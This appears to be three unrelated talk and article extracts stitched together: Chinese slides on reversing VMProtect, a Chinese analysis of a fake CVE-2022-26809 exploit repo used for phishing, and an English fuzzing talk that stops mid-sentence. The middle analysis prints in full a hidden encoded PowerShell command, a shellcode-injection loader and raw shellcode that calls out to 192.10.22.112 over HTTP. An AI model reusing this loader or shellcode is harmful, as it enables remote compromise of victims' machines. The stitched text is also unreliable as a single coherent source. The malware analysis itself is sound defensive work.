VMProtect的一次奇妙之旅 何潇潇@永信至诚 VMProtect是什么 VMProtect背后的原理 还原VMProtect的方法 演示还原 总结 CONTENTS 8/27/16'2:30PM 2 VMProtect是什么? VMProtect是世界上最强大的二进制代码保护软件之一,是由俄 罗斯人开发的,至今没有人公开声称对其完全破解。 03 8/27/16'2:30PM 2 VMProtect是什么? 01 一个基于堆 栈机的intel指 令的模拟器 02 通过编译,把intel 指令编译成精心 设计的一组虚拟 指令(PCode) 特定的解释引 擎,用于解释 执行上述的虚 拟指令 从本质来讲,VMProtect是 8/27/16'2:30PM 3 8/27/16'2:30PM 4 相关术语 Intel指令寄存器(Register) 和 VM指令寄存器(VMReg) VMProtect一共有14个寄存 器,但是用16个格子(slot)存 放它们,有多的2个格子可 以理解成自由寄存器,最终 扩展成16个寄存器。 8/27/16'2:30PM 5 相关术语 Intel指令(Intel Instruction) 和 VM指令(VMRecord) Intel指令就是Intel的汇编指令, 比如 add eax,ecx xor eax,eax … 在VMProtect的世界里面,指令是由 VMRecord组成的,比如 vm_push_imm32 0x1 vm_get_context_dword slot_offset Intel指令编译生成对应的一组VMRecord, 比如 mov ecx,eax; vm_get_context_dword vEax vm_save_context_dword vEcx 8/27/16'2:30PM 6 相关术语 Intel函数基本块(BasicBlock) 和 VM基本块(VMBlock) BasicBlock是组成Intel函数控制 流图的基本单位,在VMProtect 里面,VMBlock和它一一对应的, 只不过VMBlock是VMRecord的 载体。而且基本块与基本块之间 的关系(也就是控制流图CFG), 也在VMBlock之间一一对应。 8/27/16'2:30PM 7 VMProtect背后的原理 8/27/16'2:30PM 7 逻辑门运算 VMProtect是通过NOR(或非门)和ADD(加法门)来实现intel指令的等价运算。 NOR(a,b) = NOT(OR(a,b)) = AND(NOT(a),NOT(b)) 有了NOR的操作,就很容易表示其他的运算,例如: NOT(a) = NOR(a,a) AND(a,b) = NOR(NOT(a),NOT(b)) = NOR(NOR(a,a),NOR(b,b)) OR(a,b) = NOR(NOR(a,b),NOR(a,b)) XOR(a,b) = NOR(NOR(a,b),NOR(NOR(a,a),NOR(b,b))) SUB(a,b) = NOR(ADD(NOR(a,a),b),ADD(NOR(a,a),b)) 比如VMRecord来表示and eax,ecx VMProtect背后的原理 8/27/16'2:30PM 8 指令集可以理解成线性空间,寄存器就是空间的基,寄存器个数也就是空间 的维数。指令集中的指令,可以理解成算子,比如intel里面的add,xor,or等 在这里,intel指令集空间维度是9,VMProtect的是16,所以注定这2个空间不 同构。 从intel指令到VMProtect指令的变换f,是同态变换,也就是这种变换没有逆 变换,从理论上面证明了不存在完全还原方法。 映射 VMProtect背后的原理 8/27/16'2:30PM 9 具体原因是,VMProtect的寄存器16个格子里面,任何时刻都有2个格子是 自由的(其实是3个,因为vEex是垃圾寄存器,也是自由的)。 VMProtect当一个 寄存器发生变化的时候,它不会把新的值保存在原来的那个格子里面,它会 从空闲格子里面取一个出来保存新值。比如vEax 开始存放在1号格子里面, 经过一系列运算vEax值发生变化,需要更新,这时会从空闲格子里面随机 取出一个比如(2号格子)用来存放vEax,原来的1号格子就会进入空闲池子里 了,正是这种特性,造成了Intel指令到VM指令之间不可能是一一对应的关 系,因为操作数也就是VMProtect用到的格子时刻都在随机变化,只有 VMProtect自己知道对应关系,除了它本身,第三者很难知道。 VMProtect背后的原理 8/27/16'2:30PM 10 还是and eax,ecx ,通过变换f,生成了上面的VMRecords 比如vEax开始保存在1号格子里面,经过and运算以后,保存最后结果的 时候,从空闲格子中随机取一个出来(比如2号),最终vEax从1号格子转 移到2号格子里面,而1号格子变成了空闲格子。 VMProtect背后的原理 8/27/16'2:30PM 10 还原VMProtect的方法 8/27/16'2:30PM 11 还原VMProtect的方法 是通过动态监控堆栈机的执行,获取其每一步的执行的指令,和操 作数.然后根据最终的结果进行溯源,找到其指令的内在联系. 基于数据流的还原方法 优点 比较简单,而且效率比较高. 缺点 并没有跑遍所有的指令(non-all-path),相当粗糙,不精确. 8/27/16'2:30PM 12 还原VMProtect的方法 1.Control Flow的还原 2.Intel指令还原 Intel指令与VMRecord的对应 操作符(opcode)还原 操作数(operand)还原 基于控制流的静态还原方法 8/27/16'2:30PM 13 Control Flow的还原 8/27/16'2:30PM 14 Intel指令还原 Intel指令与VMRecord的对应 在一个VMBlock里面,哪些 VMRecords对应原始的Intel指 令,这是需要首先解决,因为虚 拟机的本质是堆栈机,也就是 说,当执行完一条Intel指令对应 的VMRecords后,堆栈机的堆栈 应该是平衡的。为此,这里给 VMRecord加上一个字段,表示 执行完后,相对于VMBlock入口 出的堆栈偏移。通过观察这个堆 栈的偏移的变化来确定。 8/27/16'2:30PM 15 操作符(opcode)还原 操作符的还原,就是模式识别。首先是要建 立识别库,也就是规则,这个需要相当的积累。 还是用前面的例子and eax,ecx,看到左边的 VMRecords,通过模式识别,很容易就能分析 出,这是一个and 或者是 test操作,操作数是寄 存器,操作数大小是dword,通过具体后面分析, 因为结果不是垃圾数据,确定是and操作。 Intel指令还原 8/27/16'2:30PM 16 Intel指令还原 对于二元操作,比如add,xor,and,or等,可以表示成 result = lhs op rhs。这是一个典型的三地址模式,因为Intel 的格式,这种指令在Intel下面其实是两地址模式,result 和 lhs 重合了。对于二元操作的情况,只要分析出源操作符, 就能对应出目的操作数是Intel下面的哪个寄存器。 操作数(operand)还原 只讨论寄存器操作数的还原,这是VMProtect里面最难 的部分,先前的介绍了解到,VMProtect有2个自由寄存器和 1个vEex垃圾寄存器,导致再重新写入1个寄存器的时候,不 是写在先前位置,而是从空闲里面找一个出来写入,这种情 况在很多时候会带来很大麻烦。 8/27/16'2:30PM 17 但是情况在mov eax,ecx这种时候,却变得很棘手。它对应的 VMRecords是: vm_get_context_dword vEcx vm_save_context_dwordslot_id 此时我们并不知道save的slot_id对应的是哪个寄存器。 Intel指令还原 8/27/16'2:30PM 17 Intel指令还原 待定寄存器法 通过vm_exit指令和vm_jmp指令,对应到真实寄存器环境,或者已知 的VMBlock入口上面,从而找到所需的数据 空闲寄存器队列法 一个寄存器被重新写入后,原来的是被放入空闲寄存器里面,而且空 闲队列就3个,再加上指令执行过程中,会经常从空闲中选择出格子写 入,所以原来的位置有很大的可能(1/3)会从空闲队列中选择出来,从 而捕捉到机会。 猜测法 解决办法 8/27/16'2:30PM 17 演示还原,是基于WeChat的某个版本的添加联系人功能做演示的。 8/27/16'2:30PM 17 堆栈机固有的缺陷 总结——VMProtect的不足 01 Options 02 Options 03 Options 空闲寄存器队列长度不够,导致基于它的攻 击成功率很高 指令模式只有或非逻辑,有些单调 8/27/16'2:30PM 17 目前正在基于LLVM框架,实现一个 arm指令集的类似虚拟保护引擎 总结——我的工作 Treadstone保护引擎,杜绝上面的大部 分缺点,还引入了寄存器置换引擎 02 0 2 01 THANKS
pdf
github上的rkxxz/CVE-2022-26809钓鱼攻 击分析 看到群⾥有⼈分享CVE-2022-26809 https://github.com/rkxxz/CVE-2022-26809的exp,并且 readme.md还写的有模有样的。 前⼏天不是有师傅分析了不能RCE吗?怎么这就出来exp了?还msf上线? 事出反常必有妖, 赶紧下载⼆进制来分析⼀把。 # Loader分析 下载样本发现是⼀个 .net的程序 ⽤dnspy加载起来,看⼀下,外围的程序仅仅是⼀个loader,在内部解密了⼀个模块,然后 ⽤ executingAssembly.LoadModule 加载起来。 动态调试⼀下,把⾥⾯的模块dump出来,接下来开始分析模块。 # 模块分析 模块内部主要有三个函数,但是这个模块没有⼊⼜点,不能当做exe直接执⾏,所以我找了⼀ 个 .net 的laoder来加载这个模块。 模块加载器⽤的是 : https://github.com/hexfati/SharpDllLoader                                              CVE-2022-26809.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows 1 但是这⾥需要⼀些修改,对 .net 程序不熟悉,这⾥⾮常感谢 @404师傅的指导,这个加载器要 修改⼀下才能使⽤。 要不然没办法获取函数,另外向模块函数传参的地⽅也需要修改⼀下,不再细说了。 接下⾥看⼀下模块的代码,此模块运⾏时⾸先探测了⼀下提供的ip和port能否联通。 接下来这⾥判断⼀个⽂件是否存在。 跟进去,可以看到判断的是shellcode.bin,把这个⽂件放在对应的⽬录,然后继续跟踪。 发现到这⾥判断 cmd.exe是否存在 ⽤cmd执⾏命令 看到是调⽤了⼀段powershell脚本,脚本copy出来: "/c \"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGU AYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAH QAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpA FMAQgBMACsAZQBmAGcAcgB2AEYARwBrAEQAVQBxAEMAdwBSAEIAQwBNAGwAcABwADIAZwBh AEQAQwBXACsARABlAFUAVABSAHkAWQArADIAYQBXAGcALwA0AG0ANQBqAG4ATgBuADUAMwA 2ADgATQBoAEYAdABtADcAdgBhAGsATwB5AFQATAA3AHEATABxAHEALwBxAHEAcQA3AHQASw B4AC8AeABlADUAegBHAHgAZQBUADkAMABzAEgAQgB2ADQASgBpAFIATQBCAEMAawBRAHUAR wA2AEcAVwBwAGMAKwBFAFAANAA5AG4AdgBoADIAbQBRAE0AKwB4AGIATgA4AHUAVgBWADQA VQB2AEMAUwBPAEEASgBlAHMAWQA0ADkAcgA5AGUATABrAHUAVABKAE8ARABFAHgAeQBVAHQ ANABEAGcATwBJAHgAMwBIAE8AMgBKAGoAQgBtAHEAQgA2AFcATQBXAG0AVABZAFcAUwBMAE QAQgBOAGgAZQArAEYANwA1ADgAaQBSAEsATABFAGwAdQB3AEsAYgBnAFEAMwBDAFMAdwBEA DkASQB2AHIAeQBvADEAUABmAFkAbQBuAFAANwBHAFEAZQBJAEwAaQBOAEwAUQBOAGoAbQBF AE4AOAAwAGkATABIAHcAWABsAE4ARAAzAFMAUgA1AGkAZQBWADgAcABsADgAdAAzAHcAZwB RAHoAYwBJAGMAUABFAGcAawBrAHcAbwAvAC8AaABOAFgASABmAGgAaABuAG8AegBqAGsARQ BFAGgATwArAEwAdgBRADIAbQBNADcANABYAGkAQwBUAFcAYwBlAEUAMwA1AEUAcQBmADAAT gB4AGgAUgBvAEMAcwA5AEMAUQBnAEsAZwBJAG0AaQBCAFMANABKAFAATQAvAFgAMABPAHgA awAzAEsAZABYADgASwBJAHoANQB6AGQAVQBXAHgAdwBHAG0AVgBhAG4AawBVAEgAcABWAFA AQQBNAHkARABzAFEAQQBkAHcAOQBKAEMAdwBDAEwAagAzAGcAcwBHAEMAVABtAGkAVQBrAF AAdgBHADkATwBNAGgAbwBoAHgANABrAHgAWQAzAGQASAB4ADAANgBxAGsAdwA5ADgAVwByA GoAMABNAGsAZABuADgAWQBsAG8AOABlAHYALwBFADQANABTAFkANQBQAGoANgBSAHAAZQB6 AHIALwBDAE8AYQA0AFIAaAB5AEsAeQBJAEgAMQAvAGkAWQB1AGIAOQB2AFkAWQAzAEYAawB aAFoARABFAC8ARQB6AGkATABSADIAWQBNAHQAUQBHACsAegBzAFkASABYADgARABpAGsAUA BhAC8AYQBCADYAOQBhAGMANwAvAHkAQwBRAEgAbgA1AHUARQBxADIARwBzAFEAOAAxAFMAU ABMAFQAeQBTAHYAeABrAHMAKwA2AFkAZwBVAE0AaAA0AE0AUABXAE8AbQBtAGYAVQBFAG8A WQB0AHMAUABBAFkAUQBlAFAAcwBKADAALwBDAGwAZgBmADQASABEAFkAbwBSADgAUgBpAG0 1 AUABZADcAZwBGAE8ANwA0ADgANABRAHAALwBZAGMAYwBoAEMAbAA1AGMAVQBmAFcAMwBHAD AAZQBtAGwAdwBOAG0AQwBMAGQAZwBSAEIAOABlAEYANgB5AGgAbgB5AHkANABOAFQANABjA G4AVgAyAHkARwArAGYAdQBJAGYAdgA0ADQAWgA0AGgAOQAyAHAAYwBtADIATQBVAHgARABt AHoAcwBvAE8AUABwAEoASgBpAFYASQBMAGMAVABNAC8ARAB3AHoAYgBlAGIAcQB4AE4AbQB uAG8AOAA3ADQAWABYAEUAagBxADcAZQBTAGkAZgAxAHIATgBRADcAbABVAHEAeABlAEEAWg B0ADQAdwBEAEgAcwBNAHQAYQBjAEQAdwBoAEUATwBYADEATgBFADUAdwA0AFIAcQAyAEwAS wBIADUAWQBUAHQAVAAvAHcAegB1AEUAMAArAE4AUQAxADgAUABrADkAagBHAE4AeQBlADQA TwArAEYAOABjAHgAUQBMAGgAVgBjADUANAAvAGoAMQA3AGUAMQA2AFoAOABiAC8AcwBQAFA AcgA1AGcALwBoADkAVQB3ADgAMgBPAEcAWQB2AHoAMAAvADUAeQBpAHkAeQBYAEMAOQBsAH QAOQBMAGcAWABkAHoASgBRADUASgBGADgARgB2AHEAUQBXADAANwAzAFMAMwBwAEsASwBsA DgAUABUAGgAbQBaAEcAcQBGAGoAWQBmAG4AWgBmAHUAcABpAFAAMgBiAFkAVwBOADIAbQBv AEQAawBkAFIATAA3AGMAWQBBADIAUwA1AHAAcQBOADAARgA2AEkAMQBKAFcAVwBzAGcAUgA rAG0ATgBPADAAUgBOAE8ANQBNAFgANQBNAGcAZwA4ADUAYQBrADQAbgBuAEkARwBXADEARw BMAGIAOAAzADAASgBoAGMATwBlAEUAYwA3AGUAMQBhAHIAYgBNAG8AbwAyAHEAMQBOAHEAe QBXAHQAdwA3AHUANQB2AHAAYgA1AEEAeAA4AGsAdQA1ADcAOABHADAAagBaADkAaQBUAHcA YQA2AHMAMABWAFoAWABtAFYAaAB6AFMAVgAzAE4AYQBVAGUAcwBxAFcAdAAzAEgAagBLADk AWABsAHMANQBaAHYAdQBCAE8AawBnAE8ASABZAGsAbQBwAGoARQBKAHAAeAAzAGIAbAAwAF gAUgA2AEwAdABQAEMANgBQAGkATABBAHoASgBxAHgAdQBCAEgANABoAFAAaQAyAGkAZABFA DEAWABaAFAAagBQAFUAaQBlAGsATgBKAHIATQA1AHgASgBjAGkATgBLAHYASQBvAFYASAB6 ADMAZgAxAE8ATgBPAHAAVgAyAFkASQA4ADYAQwBaAEMAeQBsAEsAYgA2AEQAUABhAG4AYwA 2AG8ASABOAFkAcgBzADIAUQBJAHUATQBRADIAbQAyAGsARgA3AFUAWABBAE4AbgBkAFAAVQ A4AFAAMwB1AEwAeABlAFAANABwAFAAYwB6AFYARgB0ADYAMAAwAGIAUwBIAFUANwBJAGgAc gBkADEAVwBXAHQAZQBDAGgAbgB0AEwAdwBuAFMAMwBJAHcAcwAxAHQAMQBYAEMAaQBxADcA agB2AEgAdQBNAHoAUABXAGQAaQBBAEQAYQB2AHUASgA0AEMAMgBMAHMAVQA3AFMARABDAGg AMwAxAFYAcgA0AEoATwB0AEIAMABEADEAagBEAG8AbwBqAEYAQwBkAFcAMABuAGkAbQBKAG oAMQB3ADkAVwBxAHAAVwBpAGUAUwBXAHcAZQBHADgAMAAvADYAagBNAEQAWgBGAHkAWgA1A HIAUgBiAFAAWgBFAEgAOQBMAHAAZABxADMAcQAyAGwAagBSAHMAcgBZAGYANgBZAGEANABV AFYAWQB2ADQAaABZAE4AZQB0AG0AYQB5AFMAdQByADIAZAAxAFkAeQAyADUARgBUADYAVgA 5AFoARwBVAHYAVABPAE8AOQBUAGEAZQAvAFQANQA1AGUATgBHAGMANgBNAC8AVABxAHUAeg BSAEQAKwAxAEcAbABpADEAVABqAFkANwBYAFEAKwBIAGoAdQBVAEMAcwBZADEANwBWAFcAW gBZAGQAOQB5AHEAeAAyAGEAegBmAFEAYQA2AG0AbQByAEQAZQBXAFYARQBtAFgAaQAwAG0A MAA5AFAAZAAwAG0ATQBtAEQAVwBaAG0AcQBXAG4ATwBiADkASgB2AE0ATQAyAEEALwBWAHU AMgBuAHEAcAAzAEoAUQAwAE4AQgBVAG0ALwBUAGUAdABSAFUASgA3AEkAMgB5AHoATABvAD EAZwBhAGIATQBhAHcAbgBtAFQAbQBmADUAUABnAEgAVABKAEEAUABaADAAMABrAHYAWQB6A EwATAA2AGoAWAByAFQAZQA2ADYANgBtADAAcwB0AFUAMgBTAFYAbABMAHEANQBtAEsAcwAr AHcANwB6AFgAVABTAHEASAA5AHMASAArAEwAMwBSAEUAeQAwAHMAYgAyAHMAagAyADcATAB jADYAVQA5AFUAZABMAGUAVQAvAHYAMgBrAFQASAB4AGYAUgBPAG4AWQBXAE0AMABKAFIAVw B1AE4AQwBvAGYAWgB0AGEAUABzADIARwBVAFEAZgB4ADgAVQBKAE8ATgBCADgAZgBSADAAd wAwAFcAMQArAEgAYwBXAGUALwBvAGMAcQA3AFgAeQA0ADgAZABhADcAQQB4AG8AbgBGAGEA 解码后的代码是,传给 IEX 执⾏的代码如下: OQBXAGQASgB5AHoAQwB3ADEAOQBiAFUAYwBqAE8AaQB3ADgAWQBIADUAVgA2ADkAVQArADM ARwBmAFUAdAB1AFAAaQA2AGoANQByAHcAVwBKAFoAVgBwAHQAbQBwAHUAcABGAEcATAA2AF cANwA2AHUASwBoAHoAdgAvAEcAaAB0AE4AegBoAGIARgBnAGYASQBwAG4ARQBWAFQAeQBMA HoATwBYAEEAYQBlAGwAZABhAHgAagBQAHAAcwBGADIATQBHAHgASwBMACsANQAwAHoARQBS AHoAdAB0AHIAVQAyADUAMQBiAGEANwBoAGYAOQA2AHMAagAyAFkANABVAHgAWQArAGEAVQB rAGMAZABhAHAAcgBJAFIARQBlAHgAMQBjAGoAYgBxAHEAUgBSAGMALwBsAFQAVgBaAFAAbg BkAFUAbQBTAHQANgB1ADQAQgAzAFgAZQA2AE0AMgBKAEEAWABWAHEAYgB1AFUAUQB5AFYAQ QB0AGIAUQA4AGgASwBCAE4ARABXAGkAOABqAGQAVQBTAGgARABxAGYASgBPAEMAOQAwAEoA RQB1AEcATwBpAFUAWQA2AGgAUQBoAFUASgBMAHoAVwB0AFYAcABHAEoAQgBEAHIAWABhAG0 AawBGAFoAYgBUAG0AcwBMADUARwBCAGoAbQBkADYAUwBTAEgAUgBGAHMAVAAvAGQAWgByAE IAWABhAFcAKwBqADUAZQA5ADkAMwB6AHQAZwBvAFMAdQA0AFkANgA2AHQAeABIAFUAUAB0A C8ATAByAGMAYwBnAG8ANQBUAE0ARgBYAEMAcwBYAHYAUgBSAEcAaABmAE0AbABWAE8AcgBo AHcATwBOAHIANABWAGEAbwAzAEYAMABZADMAVgA3ADIAVQBzAEQANABIAEMALwB1AEkAVgA vAC8AUgBmAFUANABtAHYAdwBFACsAUABQAFEAQQBYAG8ALwBEAHgAMwBGAEEAbgBHAEYAbQ AxAGMANQBEAE8AbgBiAGIAeQBjAHkAUgBaAGcAdQBDAGwAKwB1AFAAUgBwAGEASgBuADAAK wAzADgAUABWAHIAeQBDAE4ATQBVACsAZwByAHgAVgArAEYARgA3AC8AZgB2ADQAcQA5AGMA MgBZAHIAVQAxADYAaQBDADMASwBiAHMANwA4ADcANABRADgARwAwAGQAUAB2ADYAYQBsAFc ASABnADkAOQBzAFkAMwA0AFoAbwBmAGUAdQArAHYAcQBiADIAWQBDADgAcQBYAGUATQBkAG wAKwBaAEwAVwBFAGEAaQBZAFQAMwBxAC8AcwBIAHEAOABaAEgAVgBxAE8AOQBLAHYAWAB2A DkAZABHAHoAOABoAC8ANQBUADIAdgBKAG0ARAB3AGUAZQBBAFYAaQB6ADgARABnADEAYwB5 ACsATQA1AFUAWAB0ACsAWgBqAEMAbQBDAFAAZgA0AFgAVwBnAGMAbwBtAEwANQBtAEgASwA vAEMAUwAzAEkALwBLAEcAVAAzAFYAeQBiAFIAVQBGAHIATABhAEMAZgBDAFQAKwBFAGUAOA BnAHgAWQBsAFYASgB1AEUAZQB4AGwALwBnAFkAaABvAHIAagBzAFAAeQBuAGsARQBKAFUAQ gA4AE0ALwBZAFIAaQAxAE0AZABuAGgAKwAyADUAbwBBAFIARgBNAEcAYwA2AGgARAB5AEMA NQBNAHMAagArAEMAUwBHAHIAagAvADEAOQBDAHcAQQBBACIAKQApADsASQBFAFgAIAAoAE4 AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE 4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHA HoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBv AG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAB yAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA\"" $DoIt = @' $assembly = @"       using System;       using System.Runtime.InteropServices;       namespace inject { 1 2 3 4 5               public class func {                       [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }                       [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }                       [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }                       [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);                       [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);                       [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);               }       } "@ $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider $params = New-Object System.CodeDom.Compiler.CompilerParameters $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location)) $params.GenerateInMemory = $True $result = $compiler.CompileAssemblyFromSource($params, $assembly) 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7d KJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNI sB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZW lH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFR agNRUWggAwAAU1BoV4mfxv/V63BbMdJSaAACYIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9 TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1 fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vMnZFbwAW1nbtLPWz1WV/ltdTylyU9 l5wTkhFSIQCIyGmpSV/jCZK/kANLyhsBZbDJjbYJ1Sw2xpbyKsItLjHMxu9KIdTUVS3q2UA xP1JAFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2l uZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQ7IFRyaWRlbnQvNS4wOyBOUDA2KQ0KALJ68JhT2Z cFGiwsEI4aCdYMdDwR86zk5rqu/uIQcY6P+0WCGRCwL9G+7ss/qjrwo8PTi1tC81zayMryO pyvemtN4BV5ddSwje/hoWdhvlYWS607HbNjVpQw3mUuEVVegGIF0DplO8zltg6H3JrMbBD7 YpDW4pu1TyZDj2PEsSfw7X6tm8zCEfOUO6OABir3eUpaYNdESJbOrUTnkNOD2KfTQs/aUZj 6GH+bOxhM3PBcpCCmpD2HFOII/s/dCcFpgkFi84ft93IBW622BkZrLABo8LWiVv/VakBoAB AAAGgAAEAAV2hYpFPl/9WTuQAAAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAd eVYw+ip/f//MTkyLjEwLjIyLjExMgAAAAAA") $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite) if ([Bool]!$buffer) {       $global:result = 3;       return } [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length) [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0) if ([Bool]!$thread) {       $global:result = 7;       return } $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite) '@ If ([IntPtr]::size -eq 8) { 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 使⽤API CreateThread 调⽤了⼀段shellcode,把shellcode解码出来: 把 shellcode加载起来,调试⼀下发现会使⽤http协议连ip: 192.10.22.112       start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait- job | Receive-Job } else {       IEX $DoIt } 40 41 42 43 44 fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617 c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b58 2001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b5 82401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb 865d686e6574006877696e6954684c772607ffd531ff5757575757683a5679a7ffd5e98 40000005b31c951516a035151682003000053506857899fc6ffd5eb705b31d252680002 608452525253525068eb552e3bffd589c683c35031ff57576aff5356682d06187bffd58 5c00f84c301000031ff85f6740489f9eb0968aac5e25dffd589c16845215e31ffd531ff 576a0751565068b757e00bffd5bf002f000039c774b731ffe991010000e9c9010000e88 bffffff2f3276456f0016d676ed2cf5b3d5657f96d753ca5c94f65e704e484548840223 21a6a5257f8c264afe400d2f286c0596c32636d82754b0db1a5bc8ab08b4b8c7331bbd2 887535154b7ab6500c4fd4900557365722d4167656e743a204d6f7a696c6c612f352e30 2028636f6d70617469626c653b204d53494520392e303b2057696e646f7773204e54203 62e313b2057696e36343b207836343b2054726964656e742f352e303b204e503036290d 0a00b27af09853d997051a2c2c108e1a09d60c743c11f3ace4e6baaefee210718e8ffb4 5821910b02fd1beeecb3faa3af0a3c3d38b5b42f35cdac8caf23a9caf7a6b4de0157975 d4b08defe1a16761be56164bad3b1db363569430de652e11555e806205d03a653bcce5b 60e87dc9acc6c10fb6290d6e29bb54f26438f63c4b127f0ed7ead9bccc211f3943ba380 062af7794a5a60d7444896cead44e790d383d8a7d342cfda5198fa187f9b3b184cdcf05 ca420a6a43d8714e208fecfdd09c169824162f387edf772015badb606466b2c0068f0b5 a256ffd56a4068001000006800004000576858a453e5ffd593b90000000001d9515389e 7576800200000535668129689e2ffd585c074c68b0701c385c075e558c3e8a9fdffff31 39322e31302e32322e3131320000000000 1 之后调⽤ httpopenrequestW 访问路径 /2vEo ,由于服务器已经关了,所以跟不下去了。 后续不想再分析了,因为已经有⼈发出预警了。 # 总结 这个样本是可以很好的对抗沙箱分析的,主要是如下三点原因: 1. 需要命令⾏参数 2. 传⼊参数之后,会判断参数指定的ip和端⼜是否可以连通 3. 会判断⾃⾝⽬录下是否存在⽂件 shellcode.bin HW在即,谨防钓鱼,⼀定不要随意运⾏来路不明的程序。
pdf
Saif El-Sherei & Etienne Stalmans What is Fuzzing?? Fuzzing is feeding an Application with malformed input in hope to find errors and faults in the application code and with a bit of luck these faults can lead to exploitable vulnerabilities Basic History of Fuzzing • 1988-199: • Boris Beizer Syntax Testing. • Barton Miller Fuzz: An Emprical Study of Robustness. • 1999 – 2001 OUSPG PROTOS SNMP, HTTP, SIP, H.323, LDAP, etc … • 2002 Dave Aitel SPIKE block based fuzzing. Codnemicon first commercial fuzzer. • 2004 Browser Fuzzing start lcamtuf‟s MangleMe. • 2005 FileFuzz , SPIKEfile NotSPIKEfile File format fuzzing. • 2006 Month of Browser Bugs (MoBB) HD Moore relases a browser bug every day for a month release of CSSDIE, COMRaider and Axman and hamachi. • 2011 Lcamtuf decided to revolutionize Browser fuzzing in 2011 by releasing cross_fuzz. In his own words "a surprisingly effective but notoriously annoying cross-document DOM binding fuzzer that helped identify about one hundred bugs in all browsers on the market - many of said bugs exploitable - and is still finding more." it is based on ref_fuzz which he developed in 2008. • 2014 lcamtuf‟s introduces American Fuzzy lop (Afl) Evolutionary fuzzer. Fuzzing Types And Techniques Fuzzing methodology Monitor for Memory corruption Errors. Fuzz target Generate Data Identify Inputs Identify Target Fuzzing Types • Mutation/Non-Intelligent Fuzzing Randomly apply mutation algorithms to the supplied input to generate several test cases without any concern to the target format. • Generation/Intelligent Fuzzing Utilize grammar to model a certain format specification and randomly generate semi-valid test cases. to minimize fault conditions and generate test cases that are accepted by the target. Fuzzing Types Contd.. • Evolutionary Fuzzing Combining either types of fuzzing with code and binary instrumentation tools, to monitor code paths and generate test cases based on the results of the instrumentation to achieve least number of test cases with highest amount of code coverage and branches explored. In Fewer words lcamtuf‟s American fuzzy lop. Tools of the Trade - Memory Error Detectors Memory Error Detectors poisons memory areas after memory allocations and after the memory is free-ed. It monitors access to these parts in memory and returns detailed error information. Windows: • PageHeap which is part of Gflags part of windows debugging toolkit can be applied on some windows processes. Linux and OSX: • Google's Address Sanitizer (Asan) is a clang compiler plugin that can be implemented during compilation time of any linux or OSX application. Tools of the Trade - Fuzzing Harnesses Fuzzing harnesses are not themselves fuzzers but they are tools that run the target process feed it the generated test case and monitor the process for crashes. Windows: • Grinder by Stephen Fewer. Linux and Mac OSX: • Node Fuzz by Atte Kettunen of OUSPG. Introducing Wadi – Fuzzing Harness Atte Kettunen's of OUSPG NodeFuzz: • Nodefuzz is a fuzzing framework that works on Linux, And Mac OSX. • It is coded by Atte Kettunen of OUSPG using Nodejs. • It works by instrumenting the browser using ASan. and a test case generation module to feed the browser the test case through web sockets. • The modules are not provided as part of NodeFuzz you can code your own. it is a pretty simple process. • NodeFuzz is what we 